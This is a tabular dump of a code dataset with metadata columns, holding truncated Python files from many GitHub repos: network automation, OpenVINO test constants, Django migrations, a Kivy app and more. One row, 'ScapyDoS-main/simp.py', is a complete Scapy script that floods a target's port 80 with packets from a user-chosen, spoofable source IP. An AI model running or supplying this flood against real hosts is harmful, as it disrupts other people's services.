max_stars_repo_path stringlengths 3 269 | max_stars_repo_name stringlengths 4 119 | max_stars_count int64 0 191k | id stringlengths 1 7 | content stringlengths 6 1.05M | score float64 0.23 5.13 | int_score int64 0 5 |
|---|---|---|---|---|---|---|
netmiko/example7.py | Tes3awy/Ntemiko-Examples | 3 | 8000 | # Must run example4.py first
# Read an Excel sheet and save running config of devices using pandas
import pandas as pd
from netmiko import ConnectHandler
# Read Excel file of .xlsx format
data = pd.read_excel(io="Example4-Device-Details.xlsx", sheet_name=0)
# Convert data to data frame
df = pd.DataFrame(data=data)
... | 2.65625 | 3 |
inference-engine/tests/ie_test_utils/functional_test_utils/layer_tests_summary/utils/constants.py | plaidml/openvino | 0 | 8001 | # Copyright (C) 2021 Intel Corporation
# SPDX-License-Identifier: Apache-2.0
VERIFIED_OP_REFERENCES = [
'Abs-1',
'Acos-1',
'Add-1',
'Asin-1',
'Asinh-3',
'Assign-6',
'AvgPool-1',
'BatchNormInference-5',
'BatchToSpace-2',
'BinaryConvolution-1',
'Broadcast-1',
'Broadcast-3'... | 1.226563 | 1 |
ghub/githubutils.py | mahanthathreyee/ghub | 0 | 8002 | """Utilities for interacting with GitHub"""
import os
import json
import webbrowser
import stat
import sys
from git import Repo
from .context import Context
event_dict = {
"added_to_project": (
lambda event: "{} added the issue to a project.".format(event["actor"]["login"])
),
"assigned": (
... | 2.640625 | 3 |
equipments/migrations/0001_initial.py | fagrimacs/fagrimacs_production | 0 | 8003 | # Generated by Django 3.0.7 on 2020-09-18 05:52
from django.conf import settings
from django.db import migrations, models
import django.db.models.deletion
import multiselectfield.db.fields
class Migration(migrations.Migration):
initial = True
dependencies = [
migrations.swappable_dependency(setting... | 1.757813 | 2 |
dcos_installer/test_cli.py | nkhanal0/dcos | 3 | 8004 | import pytest
import gen
from dcos_installer import cli
def test_default_arg_parser():
parser = cli.get_argument_parser().parse_args([])
assert parser.verbose is False
assert parser.port == 9000
assert parser.action == 'genconf'
def test_set_arg_parser():
argument_parser = cli.get_argument_pars... | 2.4375 | 2 |
gralog-fx/src/main/java/gralog/gralogfx/piping/scripts/Gralog.py | gralog/gralog | 12 | 8005 | #!/usr/bin/env python3
import sys
from random import randint
import os
try:
import networkx as nx
except:
print("gPrint#-1#" + "netwrokx not installed for " + sys.executable)
sys.stdout.flush()
try:
import igraph as ig
except:
print("gPrint#-1#" + "igraph not installed for " + ... | 2.140625 | 2 |
influxdb/tests/server_tests/base.py | ocworld/influxdb-python | 2 | 8006 | <gh_stars>1-10
# -*- coding: utf-8 -*-
"""Define the base module for server test."""
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
import sys
from influxdb.tests import using_pypy
from influxdb.tests.server_tests.i... | 2.03125 | 2 |
genemail/testing.py | cadithealth/genemail | 5 | 8007 | <reponame>cadithealth/genemail<filename>genemail/testing.py
# -*- coding: utf-8 -*-
#------------------------------------------------------------------------------
# file: $Id$
# auth: <NAME> <<EMAIL>>
# date: 2013/10/21
# copy: (C) Copyright 2013 Cadit Health Inc., All Rights Reserved.
#-------------------------------... | 1.890625 | 2 |
telemetry/telemetry/testing/internal/fake_gpu_info.py | tingshao/catapult | 2,151 | 8008 | <reponame>tingshao/catapult<filename>telemetry/telemetry/testing/internal/fake_gpu_info.py
# Copyright 2015 The Chromium Authors. All rights reserved.
# Use of this source code is governed by a BSD-style license that can be
# found in the LICENSE file.
# This dictionary of GPU information was captured from a run of
# ... | 2.109375 | 2 |
vm_setup/pmevo/measurement-server/PITE/register_file.py | qcjiang/pmevo-artifact | 6 | 8009 | <filename>vm_setup/pmevo/measurement-server/PITE/register_file.py
#! /usr/bin/env python3
# vim: et:ts=4:sw=4:fenc=utf-8
from abc import ABC, abstractmethod
from collections import defaultdict
import re
class RegisterFile(ABC):
registers = NotImplemented
def __init__(self):
# for each register kind... | 2.34375 | 2 |
src/training_utils/training.py | JoseLuisRojasAranda/tfmodels | 1 | 8010 | <filename>src/training_utils/training.py
import os
from os import path
import json
import shutil
import tensorflow as tf
import numpy as np
# Importa cosas de Keras API
from tensorflow.keras.optimizers import Adam, RMSprop
from tensorflow.keras.models import Sequential
from tensorflow.keras.utils import plot_model
#... | 2.765625 | 3 |
setup.py | truggles/pudl | 0 | 8011 | <gh_stars>0
#!/usr/bin/env python
"""Setup script to make PUDL directly installable with pip."""
import os
from pathlib import Path
from setuptools import find_packages, setup
install_requires = [
'coloredlogs',
'datapackage>=1.9.0',
'dbfread',
'goodtables',
'matplotlib',
'networkx>=2.2',
... | 1.570313 | 2 |
src/vulnix/nvd.py | dermetfan/vulnix | 217 | 8012 | <filename>src/vulnix/nvd.py
from BTrees import OOBTree
from datetime import datetime, date, timedelta
from persistent import Persistent
from .vulnerability import Vulnerability
import fcntl
import glob
import gzip
import json
import logging
import os
import os.path as p
import requests
import transaction
import ZODB
im... | 2.234375 | 2 |
ScapyDoS-main/simp.py | Zusyaku/Termux-And-Lali-Linux-V2 | 2 | 8013 | from scapy.all import *
src = input("Source IP: ")
target = input("Target IP: ")
i=1
while True:
for srcport in range(1, 65535):
ip = IP(src=src, dst=target)
tcp = TCP(sport=srcport, dport=80)
pkt = ip / tcp
send(pkt, inter= .0001)
print("Packet Sent ", i)
i=i+1 | 2.9375 | 3 |
test/test_basic_functions.py | azagajewski/ColiCoords | 18 | 8014 | import hashlib
import unittest
from colicoords.cell import Cell, CellList
from colicoords.preprocess import data_to_cells
from test import testcase
from test.test_functions import load_testdata
class DataTest(testcase.ArrayTestCase):
def setUp(self):
self.data = load_testdata('ds1')
def t... | 2.5625 | 3 |
data_importer_ftp.py | supsi-dacd-isaac/oasi-ozone-forecaster | 0 | 8015 | # --------------------------------------------------------------------------- #
# Importing section
# --------------------------------------------------------------------------- #
import os
import sys
import argparse
import logging
import json
from classes.alerts import SlackClient
from influxdb import InfluxDBClient... | 2.078125 | 2 |
autoindent_code_JASS_war3map_j.py | gil9red/SimplePyScripts | 117 | 8016 | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
__author__ = 'ipetrash'
import re
DEBUG = False
def merge_str_literal(text: str) -> str:
def _on_match(m: re.Match):
return m.group().replace('"+"', '')
return re.sub(r'".+?"(\+".+?")+ ', _on_match, text)
lines = """
function II1I1_II takes real I... | 2.40625 | 2 |
python/addNewData.py | TruX-DTF/fixminer_source | 5 | 8017 | from common.commons import *
DATA_PATH = os.environ["DATA_PATH"]
def core():
clusterPath = join(DATA_PATH, 'shapes')
roots = listdir(clusterPath)
roots = [i for i in roots if not (i.startswith('.') or i.endswith('.pickle'))]
pattern = {}
for root in roots:
root
sizes = listdir(join(... | 2.109375 | 2 |
app.py | aosjehdgus/transliteration | 0 | 8018 | # -*- coding: utf-8 -*-
import os
import sys
import tensorflow as tf
import numpy as np
import data_utils
from translate import Transliteration
from flask import Flask, request, jsonify
transliteration = Transliteration()
app = Flask(__name__) # Flask 객체 선언, 파라미터로 어플리케이션 패키지의 이름을 넣어 준다.
app.config['JSON_AS_ASCII'] =... | 2.953125 | 3 |
pyano2/apps.py | mental689/pyano | 1 | 8019 | from django.apps import AppConfig
class Pyano2Config(AppConfig):
name = 'pyano2'
| 1.25 | 1 |
cime/scripts/lib/CIME/XML/env_build.py | cbeall123/E3SM | 1 | 8020 | <reponame>cbeall123/E3SM
"""
Interface to the env_build.xml file. This class inherits from EnvBase
"""
from CIME.XML.standard_module_setup import *
from CIME.XML.env_base import EnvBase
logger = logging.getLogger(__name__)
class EnvBuild(EnvBase):
# pylint: disable=unused-argument
def __init__(self, case_ro... | 1.96875 | 2 |
services/ops/LogStatisticsAgent/logstatisticsagent/agent.py | gnmerritt/volttron | 1 | 8021 | # -*- coding: utf-8 -*- {{{
# vim: set fenc=utf-8 ft=python sw=4 ts=4 sts=4 et:
#
# Copyright 2019, Battelle Memorial Institute.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www... | 1.195313 | 1 |
apps/inventory/serializers.py | sseits-skku/its-backend | 0 | 8022 | from rest_framework.serializers import ModelSerializer
from .models import Place, Status, OSType, Stock, ComputerStock
class PlaceSerializer(ModelSerializer):
class Meta:
model = Place
fields = '__all__'
class StatusSerializer(ModelSerializer):
class Meta:
model = Status
fie... | 2.09375 | 2 |
fmpy/cswrapper/__init__.py | CSchulzeTLK/FMPy | 225 | 8023 | <reponame>CSchulzeTLK/FMPy
def add_cswrapper(filename, outfilename=None):
from fmpy import read_model_description, extract, sharedLibraryExtension, platform, __version__
from lxml import etree
import os
from shutil import copyfile, rmtree
if outfilename is None:
outfilename = filename
... | 2.046875 | 2 |
test/dict_parameter_test.py | shouldsee/luigi | 14,755 | 8024 | <gh_stars>1000+
# -*- coding: utf-8 -*-
#
# Copyright 2012-2015 Spotify AB
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required b... | 2.453125 | 2 |
echoscope/source/mysql_source.py | treeyh/echoscope | 1 | 8025 | # -*- coding: UTF-8 -*-
import logging
from typing import List
from echoscope.config import config
from echoscope.util import mysql_util, str_util, log_util
from echoscope.model import ds_model, config_model
from echoscope.source import source
class MysqlSource(source.Source):
def __init__(self):
self.exclude... | 2.1875 | 2 |
lib/XChemPANDDA.py | graeme-winter/XChemExplorer | 2 | 8026 | # last edited: 10/08/2017, 10:25
import os, sys, glob, subprocess
from datetime import datetime
from PyQt4 import QtGui, QtCore
import math
#from XChemUtils import mtztools
import XChemDB
import XChemRefine
import XChemUtils
import XChemLog
import XChemToolTips
import csv
try:
import gemmi
import pandas
excep... | 2.03125 | 2 |
OmegaErp/Apps/base/forms/__init__.py | OMAR-EHAB777/FerpMenu | 0 | 8027 | # -*- coding: utf-8 -*-
"""
Global app forms
"""
# Standard Library
import re
# Django Library
from django import forms
from django.contrib.auth.forms import UserChangeForm, UserCreationForm
from django.utils.translation import ugettext_lazy as _
# Thirdparty Library
from dal import autocomplete
# Localfolder Librar... | 2.03125 | 2 |
test-drf-project/tests/conftest.py | fvlima/drf-view-profiler | 30 | 8028 | from unittest import mock
import pytest
from django.http import HttpRequest
from rest_framework.response import Response
from rest_framework.test import APIClient
from drf_viewset_profiler.middleware import LineProfilerViewSetMiddleware
@pytest.fixture
def api_client():
return APIClient()
@pytest.fixture
def ... | 2.203125 | 2 |
Examples/VirtualLab/virtual_experiment_f.py | diehlpk/muDIC | 70 | 8029 | # This allows for running the example when the repo has been cloned
import sys
from os.path import abspath
sys.path.extend([abspath(".")])
# Example code follows
import logging
import numpy as np
import matplotlib.pyplot as plt
import muDIC.vlab as vlab
import muDIC as dic
"""
This example case runs an experiment whe... | 2.46875 | 2 |
src/template_config.py | ckaestne/toxicity-detector | 7 | 8030 | <filename>src/template_config.py
mongo = { "user": "", "passwd": "", "db": "ghtorrent" }
perspective_api_key = ""
| 1.132813 | 1 |
tests/unit/dataactvalidator/test_fabs38_detached_award_financial_assistance_2.py | COEJKnight/one | 1 | 8031 | <filename>tests/unit/dataactvalidator/test_fabs38_detached_award_financial_assistance_2.py<gh_stars>1-10
from tests.unit.dataactcore.factories.staging import DetachedAwardFinancialAssistanceFactory
from tests.unit.dataactvalidator.utils import number_of_errors, query_columns
_FILE = 'fabs38_detached_award_financial_as... | 2.421875 | 2 |
Optimisation Portfolios/HERC.py | BrandonAFong/Ideas | 0 | 8032 | <reponame>BrandonAFong/Ideas<gh_stars>0
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Created on Tue Aug 31 22:48:21 2021
@author: apple
"""
import numpy as np
import pandas as pd
from HRP import seriation
import fastcluster
from scipy.cluster.hierarchy import fcluster
from gap_statistic import OptimalK
from... | 1.992188 | 2 |
src/conv/convertManifest2Curation.py | nakamura196/i3 | 3 | 8033 | import urllib.request
from bs4 import BeautifulSoup
import csv
import requests
import os
import json
import time
import glob
files = glob.glob("/Users/nakamura/git/d_iiif/iiif/src/collections/nijl/data/json/*.json")
for i in range(len(files)):
file = files[i]
file_id = file.split("/")[-1].replace(".json", "... | 2.625 | 3 |
programme.py | GaLaXy102/Vacationing | 0 | 8034 | <reponame>GaLaXy102/Vacationing
from lib import get_itineraries
import data
if __name__ == '__main__':
for itinerary in get_itineraries(data.sicily):
print("#" * 24)
print(itinerary)
print("")
| 2.28125 | 2 |
sawyer/mujoco/tasks/transition_pick_and_place_task.py | rlagywjd802/gym-sawyer | 0 | 8035 | import numpy as np
from sawyer.mujoco.tasks.base import ComposableTask
class TransitionTask(ComposableTask):
"""
Task to pick up an object with the robot gripper.
Success condition:
- Object is grasped and has been lifted above the table
"""
def __init__(self):
pass
def compute_... | 2.5625 | 3 |
tests/app/test_jinja_filters.py | nealedj/eq-survey-runner | 0 | 8036 | <reponame>nealedj/eq-survey-runner
# coding: utf-8
from types import SimpleNamespace
from datetime import datetime, timedelta
from unittest.mock import patch
from dateutil.relativedelta import relativedelta
from jinja2 import Undefined, Markup
from mock import Mock
from app.jinja_filters import (
format_date, fo... | 2.34375 | 2 |
levels/sombie.py | superhasduper/PythonGames | 1 | 8037 | import arcade
import os
SPRITE_SCALING = 0.5
SPRITE_NATIVE_SIZE = 128
SPRITE_SIZE = int(SPRITE_NATIVE_SIZE * SPRITE_SCALING)
SCREEN_WIDTH = SPRITE_SIZE * 14
SCREEN_HEIGHT = SPRITE_SIZE * 10
MOVEMENT_SPEED = 5
COIN_SCALE = 0.7
class Room:
"""
This class holds all the information about the
... | 3.671875 | 4 |
venv/lib/python3.6/site-packages/gevent/testing/openfiles.py | Guillaume-Fernandez/phishfinder | 10 | 8038 | # Copyright (c) 2018 gevent community
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, di... | 2.046875 | 2 |
examples/multiprocess_example.py | ct-clmsn/distributed-tensorflow-orchestration | 5 | 8039 | <gh_stars>1-10
'''
marathon_example.py
performs a simple matrix multiply using 3 compute nodes
'''
def parseargs():
parser = argparse.ArgumentParser(description='Marathon for TensorFlow.')
parser.add_argument('--n_tasks', default=1, help='an integer for the accumulator')
parser.add_argument('--cpu', ... | 2.40625 | 2 |
FAUCovidCrawler/AWSLambda/lambda_function.py | Awannaphasch2016/CDKFAUCovid19Cralwer | 0 | 8040 | <reponame>Awannaphasch2016/CDKFAUCovid19Cralwer
'''
Original code contributor: mentzera
Article link: https://aws.amazon.com/blogs/big-data/building-a-near-real-time-discovery-platform-with-aws/
'''
import boto3
import json
import twitter_to_es
# from Examples.Demo.AWS_Related.TwitterStreamWithAWS.LambdaWithS3Trigger ... | 2.546875 | 3 |
user_messages/context_processors.py | everaccountable/django-user-messages | 21 | 8041 | from django.contrib.messages.constants import DEFAULT_LEVELS
from user_messages.api import get_messages
def messages(request):
"""
Return a lazy 'messages' context variable as well as
'DEFAULT_MESSAGE_LEVELS'.
"""
return {
"messages": get_messages(request=request),
"DEFAULT_MESSAG... | 2.078125 | 2 |
Day_5/highest_score.py | ecanro/100DaysOfCode_Python | 0 | 8042 | <filename>Day_5/highest_score.py
## Highest Score
# 🚨 Don't change the code below 👇
student_scores = input("Input a list of student scores: ").split()
for n in range(0, len(student_scores)):
student_scores[n] = int(student_scores[n])
print(student_scores)
# 🚨 Don't change the code above 👆
# Write your code bel... | 3.90625 | 4 |
finetune/finetune.py | zaixizhang/MGSSL | 43 | 8043 | <gh_stars>10-100
import argparse
from loader import MoleculeDataset
from torch_geometric.data import DataLoader
import torch
import torch.nn as nn
import torch.nn.functional as F
import torch.optim as optim
from tqdm import tqdm
import numpy as np
from model import GNN, GNN_graphpred
from sklearn.metrics import roc... | 2.09375 | 2 |
jumpscale/packages/vdc_dashboard/bottle/api/exceptions.py | threefoldtech/js-sdk | 13 | 8044 | <reponame>threefoldtech/js-sdk
from jumpscale.core import exceptions
class BaseError(exceptions.Base):
"""a generic base error for bcdb rest, with status code"""
def __init__(self, status, *args, **kwargs):
super().__init__(*args, *kwargs)
self.status = status
class VDCNotFound(BaseError):
... | 2.0625 | 2 |
neurokit2/signal/signal_plot.py | gutierrezps/NeuroKit | 1 | 8045 | # -*- coding: utf-8 -*-
import matplotlib.pyplot as plt
import numpy as np
import pandas as pd
from ..events import events_plot
from ..stats import standardize as nk_standardize
def signal_plot(
signal, sampling_rate=None, subplots=False, standardize=False, labels=None, **kwargs
):
"""Plot signal with events... | 3.484375 | 3 |
migrations/versions/1a89721126f7_only_one_validation_per_mission_user_.py | MTES-MCT/mobilic-api | 0 | 8046 | """Only one validation per mission, user and actor
Revision ID: <KEY>
Revises: <KEY>
Create Date: 2021-10-14 11:22:01.124488
"""
from alembic import op
import sqlalchemy as sa
# revision identifiers, used by Alembic.
revision = "<KEY>"
down_revision = "<KEY>"
branch_labels = None
depends_on = None
def upgrade():
... | 1.492188 | 1 |
packages/facilities/rtdb/python/rtdb2_get.py | Falcons-Robocup/code | 2 | 8047 | # Copyright 2020 <NAME> (Falcons)
# SPDX-License-Identifier: Apache-2.0
#!/usr/bin/python
import os
import sys
import argparse
from rtdb2 import RtDB2Store, RTDB2_DEFAULT_PATH
import rtdb2tools
from hexdump import hexdump
# Main structure of the program
if __name__ == "__main__":
# Argument parsing.
descript... | 2.53125 | 3 |
algorithms/A3C/atari/atari_env_deprecated.py | what3versin/reinforce_py | 1 | 8048 | from __future__ import print_function
from __future__ import division
import os
import gym
import numpy as np
from skimage.transform import resize
from skimage.color import rgb2gray
class Atari(object):
s_dim = [84, 84, 1]
a_dim = 3
def __init__(self, args, record_video=False):
self.env = gym.m... | 2.578125 | 3 |
content/_build/jupyter_execute/macm.py | NBCLab/nimare-paper | 3 | 8049 | <reponame>NBCLab/nimare-paper
#!/usr/bin/env python
# coding: utf-8
# # Meta-Analytic Coactivation Modeling
# In[1]:
# First, import the necessary modules and functions
import os
from datetime import datetime
import matplotlib.pyplot as plt
from myst_nb import glue
from repo2data.repo2data import Repo2Data
import... | 1.984375 | 2 |
cisco-ios-xe/ydk/models/cisco_ios_xe/CISCO_IPSLA_ECHO_MIB.py | Maikor/ydk-py | 0 | 8050 | <filename>cisco-ios-xe/ydk/models/cisco_ios_xe/CISCO_IPSLA_ECHO_MIB.py
""" CISCO_IPSLA_ECHO_MIB
This MIB module defines the templates for IP SLA operations of
ICMP echo, UDP echo and TCP connect.
The ICMP echo operation measures end\-to\-end response time between
a Cisco router and any IP enabled device by computin... | 1.835938 | 2 |
example/model-parallel/matrix_factorization/train.py | tkameyama/incubator-mxnet | 1 | 8051 | # Licensed to the Apache Software Foundation (ASF) under one
# or more contributor license agreements. See the NOTICE file
# distributed with this work for additional information
# regarding copyright ownership. The ASF licenses this file
# to you under the Apache License, Version 2.0 (the
# "License"); you may not u... | 2.125 | 2 |
scripts/libfranka_gui_gripper_run.py | nbfigueroa/franka_interactive_controllers | 6 | 8052 | #!/usr/bin/env python3
import shlex
from tkinter import *
from tkinter import messagebox
from psutil import Popen
top = Tk()
top.title("Franka Gripper Control")
top.geometry("300x75")
def open():
node_process = Popen(shlex.split('rosrun franka_interactive_controllers libfranka_gripper_run 1'))
messagebox.showinfo... | 3.109375 | 3 |
codeforces.com/1669F/solution.py | zubtsov/competitive-programming | 0 | 8053 | <filename>codeforces.com/1669F/solution.py
for i in range(int(input())):
number_of_candies = int(input())
candies_weights = list(map(int, input().split()))
bob_pos = number_of_candies - 1
alice_pos = 0
bob_current_weight = 0
alice_current_weight = 0
last_equal_candies_total_number = 0
... | 3.375 | 3 |
client/client_build.py | patriotemeritus/grr | 1 | 8054 | #!/usr/bin/env python
"""This tool builds or repacks the client binaries.
This handles invocations for the build across the supported platforms including
handling Visual Studio, pyinstaller and other packaging mechanisms.
"""
import logging
import os
import platform
import time
# pylint: disable=unused-import
from ... | 2.3125 | 2 |
Greyatom-projects/code.py | naveena41/greyatom-python-for-data-science | 0 | 8055 | <gh_stars>0
# --------------
# Code starts here
# Create the lists
class_1 = ['<NAME>', '<NAME>', '<NAME>', '<NAME>']
class_2 = ['<NAME>', '<NAME>', '<NAME>']
# Concatenate both the strings
new_class = class_1+class_2
print(new_class)
# Append the list
new_class.append('<NAME>')
# Print updated list
print(... | 4.09375 | 4 |
environments/recommenders/recsim_wrapper_test.py | jackblandin/ml-fairness-gym | 0 | 8056 | # coding=utf-8
# Copyright 2022 The ML Fairness Gym Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicab... | 2.015625 | 2 |
moss_client_cli.py | mernst32/dl-searchcode-code | 0 | 8057 | import argparse
import csv
import os
from moss_client.core import submit_and_dl, parse_moss_reports
data_folder = 'data'
def handle_input(user_id, base_folder, parse, only_parse, join_file, batch):
global data_folder
abs_path = os.path.abspath(os.path.dirname(__file__))
root_data_folder = os.path.join(ab... | 2.84375 | 3 |
catkin_ws/src/localization/src/localization_node.py | DiegoOrtegoP/Software | 12 | 8058 | <gh_stars>10-100
#!/usr/bin/env python
import rospy
#from apriltags_ros.msg import AprilTagDetectionArray
from duckietown_msgs.msg import AprilTagsWithInfos
import tf2_ros
from tf2_msgs.msg import TFMessage
import tf.transformations as tr
from geometry_msgs.msg import Transform, TransformStamped
import numpy as np
from... | 2.28125 | 2 |
gen_data/get_teams.py | wusui/NCAA2019 | 0 | 8059 | #!/usr/bin/python
# pylint: disable=W0223
"""
Get a list of teams
"""
from html.parser import HTMLParser
import requests
class ChkTeams(HTMLParser):
"""
Extract team names from page
"""
def __init__(self):
HTMLParser.__init__(self)
self.retval = []
def handle_starttag(self, tag, a... | 3.3125 | 3 |
svgserver/app.py | omniscale/svgserver | 2 | 8060 | <reponame>omniscale/svgserver
import codecs
import tempfile
from contextlib import closing
from .cgi import CGIClient
from .combine import CombineSVG
from .mapserv import MapServer, InternalError
from .tree import build_tree
def _recursive_add_layer(nodes, params, svg, mapserver, translations):
for node in node... | 2.234375 | 2 |
11_app/script/purchase_order.py | israillaky/ERPOSAPP11 | 0 | 8061 | import frappe
@frappe.whitelist()
def filt_itemby_supplier(doctype, txt, searchfield, start, page_len, filters):
return frappe.db.sql("""Select parent from `tabItem Supplier` where supplier= %s""",(filters.get("supplier")));
@frappe.whitelist()
def filteritem(doctype, txt, searchfield, start, page_len, filters... | 1.8125 | 2 |
src/common/bio/smiles.py | duttaprat/proteinGAN | 8 | 8062 | from common.bio.constants import SMILES_CHARACTER_TO_ID, ID_TO_SMILES_CHARACTER
def from_smiles_to_id(data, column):
"""Converts sequences from smiles to ids
Args:
data: data that contains characters that need to be converted to ids
column: a column of the dataframe that contains characters that ... | 3.25 | 3 |
test/lib_config_test.py | yokoyama-flogics/ibp_monitor_2 | 3 | 8063 | import os
import sys
import unittest
# Set Python search path to the parent directory
sys.path.append(os.path.join(os.path.dirname(__file__), '..'))
from lib.config import *
class TestLibConfig(unittest.TestCase):
def test_config_noconfigfile(self):
config = BeaconConfigParser('not_exist.cfg')
wit... | 2.796875 | 3 |
tests/test_installation.py | phdye/nimporter | 0 | 8064 | <reponame>phdye/nimporter
"""
Test to make sure that libraries built with Nimporter can be installed via Pip.
"""
import sys, os, subprocess, shutil, pkg_resources, json, warnings
from pathlib import Path
import pytest
import nimporter
PYTHON = 'python' if sys.platform == 'win32' else 'python3'
PIP = 'pip' if shutil.... | 2.390625 | 2 |
hotpot_sample_dict.py | bvanaken/pytorch-pretrained-BERT | 1 | 8065 | <gh_stars>1-10
samples = {
"2_brother_plays": {
"question_parts": [range(1, 13), range(13, 17)],
"sp_parts": [range(20, 43), range(50, 60)]
}
}
| 1.242188 | 1 |
src/applications/blog/migrations/0003_post_author.py | alexander-sidorov/tms-z43 | 2 | 8066 | <filename>src/applications/blog/migrations/0003_post_author.py
# Generated by Django 3.1.7 on 2021-03-24 17:41
import django.db.models.deletion
from django.conf import settings
from django.db import migrations
from django.db import models
class Migration(migrations.Migration):
dependencies = [
migration... | 1.515625 | 2 |
sdk/python/pulumi_aws/cloudformation/stack_set.py | mdop-wh/pulumi-aws | 0 | 8067 | <reponame>mdop-wh/pulumi-aws
# coding=utf-8
# *** WARNING: this file was generated by the Pulumi Terraform Bridge (tfgen) Tool. ***
# *** Do not edit by hand unless you're certain you know what you are doing! ***
import warnings
import pulumi
import pulumi.runtime
from typing import Any, Dict, List, Mapping, Optional,... | 1.28125 | 1 |
code/config/imports.py | farioso-fernando/cover-meu-beat | 0 | 8068 | from kivy.uix.screenmanager import ScreenManager
from kivy.uix.boxlayout import BoxLayout
from kivy.lang.builder import Builder
from kivy.animation import Animation
from kivy.core.window import Window
from kivymd.app import MDApp
import kivymd
import kivy
print(
)
def version():
kivy.require('2.0.0')
print(
) | 1.757813 | 2 |
claripy/vsa/valueset.py | kwalberg/claripy | 0 | 8069 | import functools
import itertools
import numbers
from ..backend_object import BackendObject
from ..annotation import Annotation
def normalize_types_two_args(f):
@functools.wraps(f)
def normalizer(self, region, o):
"""
Convert any object to an object that we can process.
"""
if ... | 2.625 | 3 |
fardaastationapi.py | sina-cb/fardaastationapi | 0 | 8070 | import logging
from episodes import find_updates, db, count_all
from logging import error as logi
from flask import Flask, jsonify, request
def create_app(config, debug=False, testing=False, config_overrides=None):
app = Flask(__name__)
app.config.from_object(config)
app.config['JSON_AS_ASCII'] = False
... | 2.234375 | 2 |
pytglib/api/types/can_transfer_ownership_result_password_too_fresh.py | iTeam-co/pytglib | 6 | 8071 | <filename>pytglib/api/types/can_transfer_ownership_result_password_too_fresh.py
from ..utils import Object
class CanTransferOwnershipResultPasswordTooFresh(Object):
"""
The 2-step verification was enabled recently, user needs to wait
Attributes:
ID (:obj:`str`): ``CanTransferOwnershipResultPas... | 2.265625 | 2 |
catapult.py | spraakbanken/sparv-catapult | 0 | 8072 | # -*- coding: utf-8 -*-
# catapult: runs python scripts in already running processes to eliminate the
# python interpreter startup time.
#
# The lexicon for sparv.saldo.annotate and sparv.saldo.compound can be pre-loaded and
# shared between processes. See the variable annotators in handle and start.
#
# Run scripts in... | 2.296875 | 2 |
tests/test_sentiments.py | rajeshkumargp/TextBlob | 6,608 | 8073 | <reponame>rajeshkumargp/TextBlob
from __future__ import unicode_literals
import unittest
from nose.tools import * # PEP8 asserts
from nose.plugins.attrib import attr
from textblob.sentiments import PatternAnalyzer, NaiveBayesAnalyzer, DISCRETE, CONTINUOUS
class TestPatternSentiment(unittest.TestCase):
def setU... | 2.765625 | 3 |
src/unicef_security/apps.py | unicef/unicef-security | 0 | 8074 | <reponame>unicef/unicef-security
from django.apps import AppConfig
class Config(AppConfig):
name = 'unicef_security'
verbose_name = "UNICEF Security"
| 1.078125 | 1 |
utils/pretty-tests.py | isJuhn/pcsx2_ipc | 7 | 8075 | <gh_stars>1-10
import json
import sys
f=open(sys.argv[1])
y = json.loads(f.read())
print("Tests results: " + str(y["result"]))
print("Tests duration: " + str(y["duration"]))
print("Tests output:\n~~~~~~~~~~~~~~~~~~~~\n" + str(y["stdout"]))
| 2.734375 | 3 |
tests/scripts/thread-cert/test_network_layer.py | AdityaHPatwardhan/openthread | 2,962 | 8076 | <gh_stars>1000+
#!/usr/bin/env python3
#
# Copyright (c) 2016, The OpenThread Authors.
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions are met:
# 1. Redistributions of source code must retain the abov... | 1.5 | 2 |
salt/modules/kernelpkg_linux_apt.py | markgras/salt | 9,425 | 8077 | <filename>salt/modules/kernelpkg_linux_apt.py
"""
Manage Linux kernel packages on APT-based systems
"""
import functools
import logging
import re
try:
from salt.utils.versions import LooseVersion as _LooseVersion
from salt.exceptions import CommandExecutionError
HAS_REQUIRED_LIBS = True
except ImportErro... | 2.4375 | 2 |
main.py | david-slatinek/running-a-program-on-the-CPU-vs.-on-the-GPU | 0 | 8078 | <gh_stars>0
import json
import numpy as np
from numba import jit
from timeit import default_timer as timer
# Constant, used in the formula.
# Defined here to speed up the calculation, i.e. it's calculated only once
# and then placed in the formula.
SQRT_2PI = np.float32(np.sqrt(2 * np.pi))
# This function will run o... | 3.015625 | 3 |
src/jj_analyzer/__init__.py | ninetymiles/jj-logcat-analyzer | 0 | 8079 | #! /usr/bin/python
import sys
if sys.version_info[0] == 3:
from .__main__ import *
else:
pass | 1.265625 | 1 |
utility_functions.py | Team-501-The-PowerKnights/Powerknights-Slack-Bot | 1 | 8080 | import datetime
def iso_extract_info(string):
"""
Will get all of the info and return it as an array
:param string: ISO formatted string that will be used for extraction
:return: array [year, month, day, military_time_hour, minutes, hours]
:note: every item is an int except for minutes
... | 4.1875 | 4 |
python/ch_06_Animatronic_Head.py | tallamjr/mbms | 18 | 8081 | <gh_stars>10-100
from microbit import *
import random, speech, radio
eye_angles = [50, 140, 60, 90, 140]
radio.off()
sentences = [
"Hello my name is Mike",
"What is your name",
"I am looking at you",
"Exterminate exterminate exterminate",
"Number Five is alive",
"I cant do that Dave",
"da... | 3.15625 | 3 |
debugtalk.py | caoyp2/HRunDemo | 0 | 8082 | <filename>debugtalk.py
import datetime
import time
def sleep(n_secs):
time.sleep(n_secs)
def get_timestamp():
dtime = datetime.datetime.now()
un_time = time.mktime(dtime.timetuple())
return str(un_time)
def print_docId(docId):
print(docId)
def print_phonepass(phone,password):
print(phone + ... | 2.6875 | 3 |
hubcare/metrics/community_metrics/issue_template/urls.py | aleronupe/2019.1-hubcare-api | 7 | 8083 | from django.urls import path
from issue_template.views import IssueTemplateView
urlpatterns = [
path(
'<str:owner>/<str:repo>/<str:token_auth>/',
IssueTemplateView.as_view()
),
]
| 1.53125 | 2 |
